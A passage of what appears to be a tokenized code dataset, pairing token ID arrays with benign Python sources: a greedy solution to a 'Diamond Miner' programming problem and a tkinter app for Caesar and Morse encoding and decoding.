14340,
29918,
1761,
29889,
4882,
29871,
584,
5852,
470,
7700,
13,
13,
4706,
9995,
13,
13,
4706,
1250,
14340,
29918,
1761,
353,
315,
4995,
11609,
7264,
580,
13,
4706,
1250,
14340,
29918,
1761,
29889,
1627,
14340,
353,
5159,
13,
4706,
1018,
29901,
13,
9651,
1480,
29889,
3888,
703,
1293,
274,
4995,
16199,
18167,
1159,
13,
9651,
1250,
14340,
353,
1583,
29889,
29883,
4995,
29889,
1627,
14340,
29889,
1761,
580,
13,
13,
9651,
396,
674,
736,
1250,
14340,
770,
29889,
13,
13,
9651,
1250,
14340,
29918,
1761,
29889,
4882,
353,
5852,
13,
9651,
565,
1250,
14340,
29901,
13,
18884,
1250,
14340,
29918,
1761,
29889,
1627,
14340,
353,
1250,
14340,
13,
13,
4706,
5174,
313,
29883,
29918,
11739,
29879,
29889,
17413,
29892,
274,
29918,
11739,
29879,
29889,
4032,
2451,
511,
29871,
321,
29901,
13,
9651,
1480,
29889,
2704,
29898,
29872,
29897,
13,
9651,
1250,
14340,
29918,
1761,
29889,
4882,
353,
7700,
13,
13,
4706,
736,
1250,
14340,
29918,
1761,
13,
13,
1678,
822,
17749,
29918,
1627,
786,
29898,
1311,
29892,
16199,
29892,
7977,
1125,
13,
13,
4706,
9995,
13,
13,
4706,
584,
3207,
16199,
29901,
16199,
1203,
13,
4706,
584,
3207,
7977,
29901,
7977,
1203,
13,
4706,
584,
2457,
29901,
17749,
13,
462,
448,
17749,
29889,
5060,
487,
29889,
5060,
487,
29918,
8977,
29901,
12124,
310,
16199,
1178,
322,
7977,
1178,
13,
462,
448,
17749,
29889,
7978,
29901,
5852,
470,
7700,
13,
4706,
9995,
13,
13,
4706,
17749,
353,
315,
4995,
11609,
7264,
580,
13,
4706,
17749,
29889,
7978,
353,
7700,
13,
4706,
17749,
29889,
5060,
487,
29918,
8977,
353,
6213,
13,
13,
4706,
1018,
29901,
13,
9651,
17749,
29918,
8977,
353,
1583,
29889,
29883,
4995,
29889,
5060,
2361,
29889,
5060,
487,
29898,
1627,
786,
29889,
333,
29892,
7977,
29889,
333,
29897,
13,
9651,
17749,
29889,
5060,
487,
29918,
8977,
353,
17749,
29918,
8977,
13,
9651,
17749,
29889,
7978,
353,
5852,
13,
4706,
5174,
313,
29883,
29918,
11739,
29879,
29889,
17413,
29892,
274,
29918,
11739,
29879,
29889,
4032,
2451,
511,
321,
29901,
13,
9651,
1480,
29889,
2704,
29898,
29872,
29897,
13,
13,
4706,
736,
17749,
13,
13,
1678,
822,
5217,
29918,
1627,
786,
29898,
1311,
29892,
16199,
1125,
13,
13,
4706,
9995,
13,
13,
4706,
584,
3207,
16199,
29901,
1203,
310,
278,
16199,
13,
4706,
584,
2457,
29901,
5217,
13,
462,
448,
5217,
29889,
4258,
434,
29901,
5852,
470,
7700,
13,
4706,
9995,
13,
13,
4706,
5217,
353,
315,
4995,
11609,
7264,
580,
13,
4706,
5217,
29889,
7978,
353,
7700,
13,
4706,
1018,
29901,
13,
9651,
1583,
29889,
29883,
4995,
29889,
1627,
14340,
29889,
8143,
29898,
1627,
786,
29897,
13,
9651,
5217,
29889,
7978,
353,
5852,
13,
4706,
5174,
313,
29883,
29918,
11739,
29879,
29889,
17413,
29892,
274,
29918,
11739,
29879,
29889,
4032,
2451,
511,
321,
29901,
13,
9651,
1480,
29889,
2704,
29898,
29872,
29897,
13,
13,
4706,
736,
5217,
13,
13,
13,
1990,
315,
4995,
21913,
29898,
3318,
1125,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
29883,
4995,
29918,
5150,
1125,
13,
4706,
1583,
29889,
29883,
4995,
353,
274,
4995,
29918,
5150,
13,
13,
1678,
822,
1653,
29918,
29879,
14551,
29898,
1311,
29892,
7977,
29892,
22395,
29918,
978,
1125,
13,
13,
4706,
9995,
13,
4706,
584,
3207,
7977,
29901,
1203,
310,
278,
7977,
13,
4706,
584,
3207,
22395,
29918,
978,
29901,
1347,
29892,
1024,
363,
4969,
278,
22395,
13,
4706,
584,
2457,
22395,
13,
18884,
448,
22395,
29889,
24623,
29918,
29879,
14551,
29871,
584,
1203,
310,
278,
22395,
29871,
396,
19508,
304,
22395,
13,
18884,
448,
22395,
29889,
4882,
965,
584,
5852,
470,
7700,
13,
4706,
9995,
13,
13,
4706,
1480,
29889,
3888,
877,
262,
4303,
29901,
1653,
15101,
845,
1862,
1495,
13,
13,
4706,
22395,
353,
315,
4995,
11609,
7264,
580,
13,
4706,
22395,
29889,
24623,
29918,
29879,
14551,
353,
6213,
13,
4706,
285,
1853,
353,
7700,
13,
13,
4706,
565,
7977,
29889,
4882,
1275,
376,
16515,
1115,
13,
9651,
285,
1853,
353,
7700,
13,
13,
4706,
25342,
7977,
29889,
4882,
1275,
376,
262,
29899,
1509,
1115,
13,
9651,
285,
1853,
353,
5852,
13,
13,
4706,
1480,
29889,
3888,
877,
26740,
4889,
1134,
29901,
1273,
29879,
29915,
1273,
285,
1853,
29897,
13,
13,
4706,
1018,
29901,
13,
9651,
7977,
29918,
29879,
14551,
353,
1583,
29889,
29883,
4995,
29889,
24623,
29918,
29879,
8971,
845,
1862,
29889,
3258,
29898,
24623,
29889,
333,
29892,
1024,
29922,
29879,
14551,
29918,
978,
29892,
4889,
29922,
615,
668,
29897,
13,
9651,
22395,
29889,
24623,
29918,
29879,
14551,
353,
7977,
29918,
29879,
14551,
13,
9651,
22395,
29889,
4882,
353,
5852,
13,
9651,
1480,
29889,
3888,
877,
24623,
22395,
11265,
8283,
1495,
13,
4706,
5174,
274,
29918,
11739,
29879,
29889,
4032,
2451,
29892,
321,
29901,
13,
9651,
1480,
29889,
2704,
29898,
29872,
29897,
13,
9651,
22395,
29889,
4882,
353,
7700,
13,
13,
4706,
736,
22395,
13,
13,
1678,
822,
1051,
29918,
29879,
14551,
29898,
1311,
1125,
13,
13,
4706,
9995,
13,
13,
4706,
584,
2457,
29901,
29879,
14551,
29918,
1761,
13,
18884,
448,
22395,
29918,
1761,
29889,
29879,
8971,
845,
1862,
259,
584,
8857,
310,
22395,
3618,
13,
18884,
448,
22395,
29918,
1761,
29889,
4882,
418,
584,
5852,
470,
7700,
13,
13,
4706,
9995,
13,
13,
4706,
1480,
29889,
3888,
877,
262,
4303,
310,
1051,
22395,
1495,
13,
13,
4706,
15101,
845,
1862,
29918,
1761,
353,
315,
4995,
11609,
7264,
580,
13,
4706,
15101,
845,
1862,
29918,
1761,
29889,
29879,
8971,
845,
1862,
353,
5159,
13,
13,
4706,
1018,
29901,
13,
9651,
15101,
845,
1862,
353,
1583,
29889,
29883,
4995,
29889,
24623,
29918,
29879,
8971,
845,
1862,
29889,
1761,
580,
13,
9651,
396,
674,
736,
22395,
770,
29889,
13,
13,
9651,
15101,
845,
1862,
29918,
1761,
29889,
4882,
353,
5852,
13,
9651,
565,
15101,
845,
1862,
29901,
13,
18884,
1480,
29889,
3888,
877,
7085,
15101,
845,
1862,
1495,
13,
18884,
15101,
845,
1862,
29918,
1761,
29889,
29879,
8971,
845,
1862,
353,
15101,
845,
1862,
13,
13,
9651,
1480,
29889,
2704,
877,
7085,
694,
15101,
845,
1862,
1495,
13,
13,
4706,
5174,
313,
29883,
29918,
11739,
29879,
29889,
17413,
29892,
274,
29918,
11739,
29879,
29889,
4032,
2451,
511,
29871,
321,
29901,
13,
9651,
1480,
29889,
2704,
29898,
29872,
29897,
13,
9651,
15101,
845,
1862,
29918,
1761,
29889,
4882,
353,
7700,
13,
13,
4706,
736,
15101,
845,
1862,
29918,
1761,
13,
13,
1678,
822,
5217,
29918,
29879,
14551,
29898,
1311,
29892,
22395,
1125,
13,
13,
4706,
9995,
13,
13,
4706,
584,
3207,
22395,
29901,
1203,
310,
278,
22395,
13,
4706,
584,
2457,
29901,
29879,
14551,
29918,
8143,
13,
18884,
448,
22395,
29918,
8143,
29889,
7978,
29901,
5852,
470,
7700,
13,
4706,
9995,
13,
13,
4706,
1480,
29889,
3888,
877,
262,
4303,
310,
5217,
22395,
1495,
13,
4706,
22395,
29918,
8143,
353,
315,
4995,
11609,
7264,
580,
13,
4706,
22395,
29918,
8143,
29889,
7978,
353,
7700,
13,
4706,
1018,
29901,
13,
9651,
1583,
29889,
29883,
4995,
29889,
24623,
29918,
29879,
8971,
845,
1862,
29889,
8143,
29898,
29879,
14551,
29897,
13,
9651,
22395,
29918,
8143,
29889,
7978,
353,
5852,
13,
9651,
1480,
29889,
3888,
877,
8143,
22395,
8283,
1495,
13,
4706,
5174,
313,
29883,
29918,
11739,
29879,
29889,
17413,
29892,
274,
29918,
11739,
29879,
29889,
4032,
2451,
511,
321,
29901,
13,
9651,
1480,
29889,
2704,
29898,
29872,
29897,
13,
13,
4706,
736,
22395,
29918,
8143,
13,
13,
1678,
822,
679,
29918,
29879,
14551,
29898,
1311,
29892,
22395,
1125,
13,
13,
4706,
9995,
13,
13,
4706,
584,
3207,
22395,
29901,
22395,
1203,
13,
4706,
584,
2457,
29901,
4204,
29918,
29879,
14551,
13,
18884,
448,
1269,
29918,
29879,
14551,
29889,
29879,
14551,
584,
22395,
1203,
13,
18884,
448,
1269,
29918,
29879,
14551,
29889,
4882,
584,
5852,
470,
7700,
13,
13,
4706,
9995,
13,
13,
4706,
1269,
29918,
29879,
8971,
353,
315,
4995,
11609,
7264,
580,
13,
4706,
1269,
29918,
29879,
8971,
29889,
29879,
14551,
353,
6213,
13,
4706,
1018,
29901,
13,
9651,
1480,
29889,
3888,
703,
657,
22395,
4902,
1159,
13,
9651,
7977,
29918,
29879,
8971,
353,
1583,
29889,
29883,
4995,
29889,
24623,
29918,
29879,
8971,
845,
1862,
29889,
657,
29898,
29879,
14551,
29889,
333,
29897,
13,
9651,
1269,
29918,
29879,
8971,
29889,
29879,
14551,
353,
7977,
29918,
29879,
8971,
13,
9651,
1269,
29918,
29879,
8971,
29889,
4882,
353,
5852,
13,
13,
4706,
5174,
313,
29883,
29918,
11739,
29879,
29889,
17413,
29892,
274,
29918,
11739,
29879,
29889,
4032,
2451,
511,
29871,
321,
29901,
13,
9651,
1480,
29889,
2704,
29898,
29872,
29897,
13,
9651,
1269,
29918,
29879,
8971,
29889,
4882,
353,
7700,
13,
13,
4706,
736,
1269,
29918,
29879,
8971,
13,
13,
1678,
822,
1653,
29918,
1555,
29918,
3166,
29918,
29879,
8971,
29898,
1311,
29892,
22395,
29892,
1024,
29892,
2159,
1125,
13,
13,
4706,
9995,
13,
13,
4706,
584,
3207,
22395,
29901,
1203,
310,
278,
22395,
13,
4706,
584,
3207,
2159,
29901,
938,
29892,
13,
4706,
584,
3207,
1024,
29901,
7977,
1024,
29901,
1347,
13,
4706,
584,
2457,
29901,
22395,
29918,
24623,
13,
462,
448,
22395,
29918,
24623,
29889,
4882,
29901,
5852,
470,
7700,
13,
4706,
9995,
13,
13,
4706,
1480,
29889,
3888,
877,
262,
4303,
310,
1653,
1700,
515,
22395,
1495,
13,
13,
4706,
22395,
29918,
24623,
353,
315,
4995,
11609,
7264,
580,
13,
4706,
22395,
29918,
24623,
29889,
24623,
353,
6213,
13,
13,
4706,
1018,
29901,
13,
9651,
7977,
353,
1583,
29889,
29883,
4995,
29889,
1555,
9351,
29889,
3258,
29898,
2311,
29922,
2311,
29892,
1024,
29922,
978,
29892,
22395,
29918,
333,
29922,
29879,
14551,
29897,
13,
9651,
22395,
29918,
24623,
29889,
4882,
353,
5852,
13,
9651,
22395,
29918,
24623,
29889,
24623,
353,
7977,
13,
9651,
1480,
29889,
3888,
877,
29879,
14551,
7977,
2825,
1495,
13,
4706,
5174,
274,
29918,
11739,
29879,
29889,
4032,
2451,
29892,
321,
29901,
13,
9651,
1480,
29889,
2704,
29898,
29872,
29897,
13,
9651,
22395,
29918,
24623,
29889,
4882,
353,
7700,
13,
13,
4706,
736,
22395,
29918,
24623,
13,
13,
13,
2
] |
TEP/lista1/E.py | GuilhermeBraz/unb-workflow | 0 | 150937 | # Diamond Miner is a game that is similar to Gold Miner, but there are nnn miners instead of 111 in this game.
# The mining area can be described as a plane. The nnn miners can be regarded as nnn points on the y-axis. There are nnn diamond mines in the mining area. We can regard them as nnn points on the x-axis. For some reason, no miners or diamond mines can be at the origin (point (0,0)(0, 0)(0,0)).
# Every miner should mine exactly one diamond mine. Every miner has a hook, which can be used to mine a diamond mine. If a miner at the point (a,b)(a,b)(a,b) uses his hook to mine a diamond mine at the point (c,d)(c,d)(c,d), he will spend (a−c)2+(b−d)2\sqrt{(a-c)^2+(b-d)^2}(a−c)2+(b−d)2
# energy to mine it (the distance between these points). The miners can't move or help each other.
# The object of this game is to minimize the sum of the energy that miners spend. Can you find this minimum
from math import sqrt
def dis(a, b):
return sqrt((a[0] - b[0]) ** 2 + (a[1] - b[1]) ** 2)
# Number of test cases
t = int(input())
for i in range(t):
energysum = 0
# Number of miners and diamonds - n
n = int(input())
miners = []
diamonds = []
for j in range(2*n):
# Miner position
x, y = map(int, input().split())
if x == 0:
miners.append((abs(x), abs(y)))
else:
diamonds.append((abs(x), abs(y)))
# Sort the diamonds by their x-coordinate and the miners by the y-coordinate
miners.sort(key=lambda x: x[1])
diamonds.sort(key=lambda x: x[0])
for miner,diamond in zip(miners, diamonds):
energysum += dis(miner, diamond)
print(energysum)
| [
1,
396,
22904,
898,
3080,
261,
338,
263,
3748,
393,
338,
2788,
304,
6650,
3080,
261,
29892,
541,
727,
526,
302,
15755,
1375,
414,
2012,
310,
29871,
29896,
29896,
29896,
297,
445,
3748,
29889,
13,
29937,
450,
1375,
292,
4038,
508,
367,
5439,
408,
263,
10694,
29889,
450,
302,
15755,
1375,
414,
508,
367,
17878,
408,
302,
15755,
3291,
373,
278,
343,
29899,
8990,
29889,
1670,
526,
302,
15755,
11502,
898,
29086,
297,
278,
1375,
292,
4038,
29889,
1334,
508,
4880,
963,
408,
302,
15755,
3291,
373,
278,
921,
29899,
8990,
29889,
1152,
777,
2769,
29892,
694,
1375,
414,
470,
11502,
898,
29086,
508,
367,
472,
278,
3978,
313,
3149,
313,
29900,
29892,
29900,
5033,
29900,
29892,
29871,
29900,
5033,
29900,
29892,
29900,
8106,
13,
29937,
7569,
1375,
261,
881,
7903,
3721,
697,
11502,
898,
7903,
29889,
7569,
1375,
261,
756,
263,
12422,
29892,
607,
508,
367,
1304,
304,
7903,
263,
11502,
898,
7903,
29889,
960,
263,
1375,
261,
472,
278,
1298,
313,
29874,
29892,
29890,
5033,
29874,
29892,
29890,
5033,
29874,
29892,
29890,
29897,
3913,
670,
12422,
304,
7903,
263,
11502,
898,
7903,
472,
278,
1298,
313,
29883,
29892,
29881,
5033,
29883,
29892,
29881,
5033,
29883,
29892,
29881,
511,
540,
674,
18864,
313,
29874,
30120,
29883,
29897,
29906,
17108,
29890,
30120,
29881,
29897,
29906,
29905,
3676,
8001,
29874,
29899,
29883,
4887,
29906,
17108,
29890,
29899,
29881,
4887,
29906,
2119,
29874,
30120,
29883,
29897,
29906,
17108,
29890,
30120,
29881,
29897,
29906,
13,
29937,
29871,
30166,
5864,
304,
7903,
372,
313,
1552,
5418,
1546,
1438,
3291,
467,
450,
1375,
414,
508,
29915,
29873,
4337,
470,
1371,
1269,
916,
29889,
13,
29937,
450,
1203,
310,
445,
3748,
338,
304,
6260,
675,
278,
2533,
310,
278,
5864,
393,
1375,
414,
18864,
29889,
1815,
366,
1284,
445,
9212,
13,
3166,
5844,
1053,
18074,
2273,
13,
1753,
766,
29898,
29874,
29892,
289,
1125,
13,
1678,
736,
18074,
2273,
3552,
29874,
29961,
29900,
29962,
448,
289,
29961,
29900,
2314,
3579,
29871,
29906,
718,
313,
29874,
29961,
29896,
29962,
448,
289,
29961,
29896,
2314,
3579,
29871,
29906,
29897,
13,
29937,
9681,
310,
1243,
4251,
13,
29873,
353,
938,
29898,
2080,
3101,
13,
13,
1454,
474,
297,
3464,
29898,
29873,
1125,
13,
1678,
18190,
952,
398,
353,
29871,
29900,
13,
1678,
396,
9681,
310,
1375,
414,
322,
11502,
13788,
448,
302,
13,
1678,
302,
353,
938,
29898,
2080,
3101,
13,
1678,
1375,
414,
353,
5159,
13,
1678,
11502,
13788,
353,
5159,
13,
13,
1678,
363,
432,
297,
3464,
29898,
29906,
29930,
29876,
1125,
13,
4706,
396,
3080,
261,
2602,
13,
4706,
921,
29892,
343,
353,
2910,
29898,
524,
29892,
1881,
2141,
5451,
3101,
13,
4706,
565,
921,
1275,
29871,
29900,
29901,
13,
9651,
1375,
414,
29889,
4397,
3552,
6897,
29898,
29916,
511,
6425,
29898,
29891,
4961,
13,
4706,
1683,
29901,
13,
9651,
11502,
13788,
29889,
4397,
3552,
6897,
29898,
29916,
511,
6425,
29898,
29891,
4961,
13,
268,
13,
1678,
396,
20025,
278,
11502,
13788,
491,
1009,
921,
29899,
29302,
322,
278,
1375,
414,
491,
278,
343,
29899,
29302,
13,
1678,
1375,
414,
29889,
6605,
29898,
1989,
29922,
2892,
921,
29901,
921,
29961,
29896,
2314,
13,
1678,
11502,
13788,
29889,
6605,
29898,
1989,
29922,
2892,
921,
29901,
921,
29961,
29900,
2314,
13,
13,
1678,
363,
1375,
261,
29892,
29881,
2829,
898,
297,
14319,
29898,
1195,
414,
29892,
11502,
13788,
1125,
13,
4706,
18190,
952,
398,
4619,
766,
29898,
1195,
261,
29892,
11502,
898,
29897,
13,
13,
1678,
1596,
29898,
759,
29887,
952,
398,
29897,
13,
2
] |
cryptography_playground.py | GabrielAlves/CryptographyPlayground | 0 | 53656 | <reponame>GabrielAlves/CryptographyPlayground<gh_stars>0
import tkinter as tk
from tkinter import ttk
from tkinter import scrolledtext
from tkinter import messagebox as msg
from tkinter import Menu
from i18n.i18n_cryptography_playground import I18NCryptographyPlayground
from i18n.i18n_message_box import I18NMessageBox
from gui_settings import GUISettings
from cryptography_algorithms.morse import Morse
from cryptography_algorithms.caesar import Caesar
from about_project_view import AboutProjectView
class CryptographyPlayground:
def __init__(self):
self.create_widgets()
def create_widgets(self):
self.create_window()
self.create_menu()
self.create_tabs()
self.create_widgets_of_coding_tab()
self.create_widgets_of_decoding_tab()
def define_gui_settings(self):
self.gui_settings = GUISettings()
def create_window(self):
self.window = tk.Tk()
self.configure_window()
def define_gui_language(self):
self.i18n_cryptography_playground = I18NCryptographyPlayground("en")
self.i18n_message_box = I18NMessageBox("en")
def configure_window(self):
self.define_gui_settings()
self.define_gui_language()
self.window.title(self.i18n_cryptography_playground.window_title)
self.window.iconbitmap(self.window, "images/icons/lock_icon.ico")
self.window.resizable(False, False)
def create_menu(self):
self.create_menu_bar()
self.create_file_menu_item()
self.create_help_menu_item()
def create_menu_bar(self):
self.menu_bar = Menu(self.window)
self.window.configure(menu = self.menu_bar)
def create_file_menu_item(self):
self.file_menu = Menu(self.menu_bar, tearoff = 0)
self.file_menu.add_command(label = self.i18n_cryptography_playground.menu_file_new_label, command = self.open_new_window)
self.file_menu.add_command(label = self.i18n_cryptography_playground.menu_file_exit_label, command = self.close_window)
self.menu_bar.add_cascade(label = self.i18n_cryptography_playground.menu_file_label, menu = self.file_menu)
def create_help_menu_item(self):
self.help_menu = Menu(self.menu_bar, tearoff = 0)
self.help_menu.add_command(label = self.i18n_cryptography_playground.menu_help_about_label, command = AboutProjectView)
self.menu_bar.add_cascade(label = self.i18n_cryptography_playground.menu_help_label, menu = self.help_menu)
def create_tabs(self):
self.create_tab_control()
self.create_coding_tab()
self.create_decoding_tab()
self.manage_tab_control()
def create_tab_control(self):
self.tab_control = ttk.Notebook(self.window)
def create_coding_tab(self):
self.coding_tab = ttk.Frame(self.tab_control)
self.tab_control.add(self.coding_tab, text = self.i18n_cryptography_playground.coding_tab_text)
def create_decoding_tab(self):
self.decoding_tab = ttk.Frame(self.tab_control)
self.tab_control.add(self.decoding_tab, text = self.i18n_cryptography_playground.decoding_tab_text)
def manage_tab_control(self):
self.tab_control.pack(expand = 1, fill = "both")
def create_widgets_of_coding_tab(self):
self.create_coding_section_labelframe()
self.create_widgets_from_coding_section_labelframe()
self.create_encryption_options_labelframe()
self.create_buttons_from_encryption_options()
def create_coding_section_labelframe(self):
self.coding_labelframe = ttk.LabelFrame(self.coding_tab, text = self.i18n_cryptography_playground.coding_section_labelframe)
self.coding_labelframe.grid(row = 0, padx = self.gui_settings.coding_section_padding_width, pady = self.gui_settings.padding_height)
def create_widgets_from_coding_section_labelframe(self):
self.create_label_for_message_to_be_encrypted()
self.create_scrolledtext_for_message_to_be_encrypted()
self.create_label_for_encrypted_message()
self.create_scrolledtext_for_encrypted_message()
def create_label_for_message_to_be_encrypted(self):
self.label_for_message_to_be_encrypted = ttk.Label(self.coding_labelframe, text = self.i18n_cryptography_playground.label_for_message_to_be_encrypted, font = (self.gui_settings.font_family, self.gui_settings.font_size))
self.label_for_message_to_be_encrypted.grid(row = 1)
def create_scrolledtext_for_message_to_be_encrypted(self):
self.scrolledtext_for_message_to_be_encrypted = scrolledtext.ScrolledText(self.coding_labelframe, width = self.gui_settings.scrolledtext_width, height = self.gui_settings.scrolledtext_height, font = (self.gui_settings.font_family, self.gui_settings.font_size), wrap = tk.WORD)
self.scrolledtext_for_message_to_be_encrypted.grid(row = 2, pady = self.gui_settings.padding_height)
self.scrolledtext_for_message_to_be_encrypted.focus()
def create_label_for_encrypted_message(self):
self.label_encrypted_message = ttk.Label(self.coding_labelframe, text = self.i18n_cryptography_playground.label_encrypted_message, font = (self.gui_settings.font_family, self.gui_settings.font_size))
self.label_encrypted_message.grid(row = 3)
def create_scrolledtext_for_encrypted_message(self):
self.scrolledtext_for_encrypted_message = scrolledtext.ScrolledText(self.coding_labelframe, width = self.gui_settings.scrolledtext_width, height = self.gui_settings.scrolledtext_height, font = (self.gui_settings.font_family, self.gui_settings.font_size), wrap = tk.WORD)
self.scrolledtext_for_encrypted_message.grid(row = 4, pady = self.gui_settings.padding_height)
def create_encryption_options_labelframe(self):
self.coding_tab_cryptography_options = ttk.LabelFrame(self.coding_labelframe, text = self.i18n_cryptography_playground.cryptography_options)
self.coding_tab_cryptography_options.grid(row = 5, pady = self.gui_settings.padding_height, sticky = tk.W)
def create_buttons_from_encryption_options(self):
self.create_caesar_encryption_button()
self.create_morse_encryption_button()
self.add_padding_to_encryption_buttons()
def create_caesar_encryption_button(self):
self.button_caesar_cryptography = ttk.Button(self.coding_tab_cryptography_options, text = self.i18n_cryptography_playground.caesar_cryptography_button_text, command = lambda : self.process_message(Caesar, "encrypt", self.scrolledtext_for_message_to_be_encrypted, self.scrolledtext_for_encrypted_message))
self.button_caesar_cryptography.grid(column = 0, row = 0, sticky = tk.W)
def create_morse_encryption_button(self):
self.button_morse_cryptography = ttk.Button(self.coding_tab_cryptography_options, text = self.i18n_cryptography_playground.morse_cryptography_button_text, command = lambda : self.process_message(Morse, "encrypt", self.scrolledtext_for_message_to_be_encrypted, self.scrolledtext_for_encrypted_message))
self.button_morse_cryptography.grid(column = 1, row = 0, sticky = tk.W)
def add_padding_to_encryption_buttons(self):
for button in self.coding_tab_cryptography_options.winfo_children():
button.grid_configure(padx = self.gui_settings.padding_width, pady = self.gui_settings.padding_height)
def create_widgets_of_decoding_tab(self):
self.create_decoding_section_labelframe()
self.create_widgets_from_decoding_section_labelframe()
self.create_decryption_options_labelframe()
self.create_buttons_from_decryption_options()
def create_decoding_section_labelframe(self):
self.decoding_labelframe = ttk.LabelFrame(self.decoding_tab, text = self.i18n_cryptography_playground.decoding_section_labelframe)
self.decoding_labelframe.grid(row = 0, padx = self.gui_settings.coding_section_padding_width, pady = self.gui_settings.padding_height)
def create_widgets_from_decoding_section_labelframe(self):
self.create_label_for_message_to_be_decrypted()
self.create_scrolledtext_for_message_to_be_decrypted()
self.create_label_for_decrypted_message()
self.create_scrolledtext_for_decrypted_message()
def create_label_for_message_to_be_decrypted(self):
self.label_for_message_to_be_decrypted = ttk.Label(self.decoding_labelframe, text = self.i18n_cryptography_playground.label_for_message_to_be_decrypted, font = (self.gui_settings.font_family, self.gui_settings.font_size))
self.label_for_message_to_be_decrypted.grid(row = 1)
def create_scrolledtext_for_message_to_be_decrypted(self):
self.scrolledtext_for_message_to_be_decrypted = scrolledtext.ScrolledText(self.decoding_labelframe, width = self.gui_settings.scrolledtext_width, height = self.gui_settings.scrolledtext_height, font = (self.gui_settings.font_family, self.gui_settings.font_size), wrap = tk.WORD)
self.scrolledtext_for_message_to_be_decrypted.grid(row = 2, pady = self.gui_settings.padding_height)
self.scrolledtext_for_message_to_be_decrypted.focus()
def create_label_for_decrypted_message(self):
self.label_decrypted_message = ttk.Label(self.decoding_labelframe, text = self.i18n_cryptography_playground.label_decrypted_message, font = (self.gui_settings.font_family, self.gui_settings.font_size))
self.label_decrypted_message.grid(row = 3)
def create_scrolledtext_for_decrypted_message(self):
self.scrolledtext_for_decrypted_message = scrolledtext.ScrolledText(self.decoding_labelframe, width = self.gui_settings.scrolledtext_width, height = self.gui_settings.scrolledtext_height, font = (self.gui_settings.font_family, self.gui_settings.font_size), wrap = tk.WORD)
self.scrolledtext_for_decrypted_message.grid(row = 4, pady = self.gui_settings.padding_height)
def create_decryption_options_labelframe(self):
self.decoding_tab_cryptography_options = ttk.LabelFrame(self.decoding_labelframe, text = self.i18n_cryptography_playground.cryptography_options)
self.decoding_tab_cryptography_options.grid(row = 5, pady = self.gui_settings.padding_height, sticky = tk.W)
def create_buttons_from_decryption_options(self):
self.create_caesar_decryption_button()
self.create_morse_decryption_button()
self.add_padding_to_decryption_buttons()
def create_caesar_decryption_button(self):
self.button_caesar_cryptography = ttk.Button(self.decoding_tab_cryptography_options, text = self.i18n_cryptography_playground.caesar_cryptography_button_text, command = lambda : self.process_message(Caesar, "decrypt", self.scrolledtext_for_message_to_be_decrypted, self.scrolledtext_for_decrypted_message))
self.button_caesar_cryptography.grid(column = 0, row = 0, sticky = tk.W)
def create_morse_decryption_button(self):
self.button_morse_cryptography = ttk.Button(self.decoding_tab_cryptography_options, text = self.i18n_cryptography_playground.morse_cryptography_button_text, command = lambda : self.process_message(Morse, "decrypt", self.scrolledtext_for_message_to_be_decrypted, self.scrolledtext_for_decrypted_message))
self.button_morse_cryptography.grid(column = 1, row = 0, sticky = tk.W)
def add_padding_to_decryption_buttons(self):
for button in self.decoding_tab_cryptography_options.winfo_children():
button.grid_configure(padx = self.gui_settings.padding_width, pady = self.gui_settings.padding_height)
def close_window(self):
self.window.quit()
self.window.destroy()
exit()
def open_new_window(self):
CryptographyPlayground()
def show_message_box(self, type, title, content):
type = type.lower()
if type == "info":
msg.showinfo(title, content)
elif type == "warning":
msg.showwarning(title, content)
elif type == "error":
msg.showerror(title, content)
def change_message_on_scrolledtext(self, scrolledtext, message):
scrolledtext.delete("1.0", "end")
scrolledtext.insert("1.0", message)
def get_text_from_scrolledtext(self, scrolledtext):
text = scrolledtext.get("1.0", "end-1c").strip()
return text
def process_message(self, cryptography_algorithm, action, source_scrolledtext, destiny_scrolledtext):
source_message = self.get_text_from_scrolledtext(source_scrolledtext)
if source_message == "":
self.show_message_box("warning", self.i18n_message_box.nothing_written_warning_title, self.i18n_message_box.nothing_written_warning_content)
else:
try:
if action == "encrypt":
destiny_message = cryptography_algorithm().encrypt(source_message)
elif action == "decrypt":
destiny_message = cryptography_algorithm().decrypt(source_message)
self.change_message_on_scrolledtext(destiny_scrolledtext, destiny_message)
destiny_scrolledtext.focus()
except Exception as exception:
print(exception)
self.show_message_box("error", self.i18n_message_box.process_error_title, self.i18n_message_box.process_error_content)
if __name__ == "__main__":
cryptography_playground = CryptographyPlayground()
cryptography_playground.window.mainloop() | [
1,
529,
276,
1112,
420,
29958,
29954,
370,
12836,
2499,
1960,
29914,
29907,
4641,
5275,
13454,
2057,
29966,
12443,
29918,
303,
1503,
29958,
29900,
13,
5215,
18883,
1639,
408,
18883,
13,
3166,
18883,
1639,
1053,
260,
11178,
13,
3166,
18883,
1639,
1053,
885,
24476,
726,
13,
3166,
18883,
1639,
1053,
2643,
1884,
408,
10191,
13,
3166,
18883,
1639,
1053,
20019,
13,
13,
3166,
474,
29896,
29947,
29876,
29889,
29875,
29896,
29947,
29876,
29918,
29883,
4641,
5275,
29918,
1456,
2057,
1053,
306,
29896,
29947,
15868,
4641,
5275,
13454,
2057,
13,
3166,
474,
29896,
29947,
29876,
29889,
29875,
29896,
29947,
29876,
29918,
4906,
29918,
1884,
1053,
306,
29896,
29947,
29940,
3728,
3313,
13,
3166,
1410,
29875,
29918,
11027,
1053,
14839,
9585,
13,
3166,
24941,
5275,
29918,
9564,
12404,
29889,
12257,
344,
1053,
3879,
344,
13,
3166,
24941,
5275,
29918,
9564,
12404,
29889,
1113,
26892,
1053,
9243,
26892,
13,
13,
3166,
1048,
29918,
4836,
29918,
1493,
1053,
13611,
7653,
1043,
13,
13,
13,
1990,
315,
4641,
5275,
13454,
2057,
29901,
13,
1678,
822,
4770,
2344,
12035,
1311,
1125,
13,
4706,
1583,
29889,
3258,
29918,
8030,
29879,
580,
13,
13,
13,
1678,
822,
1653,
29918,
8030,
29879,
29898,
1311,
1125,
13,
4706,
1583,
29889,
3258,
29918,
7165,
580,
13,
4706,
1583,
29889,
3258,
29918,
6510,
580,
13,
4706,
1583,
29889,
3258,
29918,
21175,
580,
13,
4706,
1583,
29889,
3258,
29918,
8030,
29879,
29918,
974,
29918,
29883,
3689,
29918,
3891,
580,
13,
4706,
1583,
29889,
3258,
29918,
8030,
29879,
29918,
974,
29918,
7099,
3689,
29918,
3891,
580,
13,
13,
13,
1678,
822,
4529,
29918,
23569,
29918,
11027,
29898,
1311,
1125,
13,
4706,
1583,
29889,
23569,
29918,
11027,
353,
14839,
9585,
580,
13,
13,
13,
1678,
822,
1653,
29918,
7165,
29898,
1311,
1125,
13,
4706,
1583,
29889,
7165,
353,
18883,
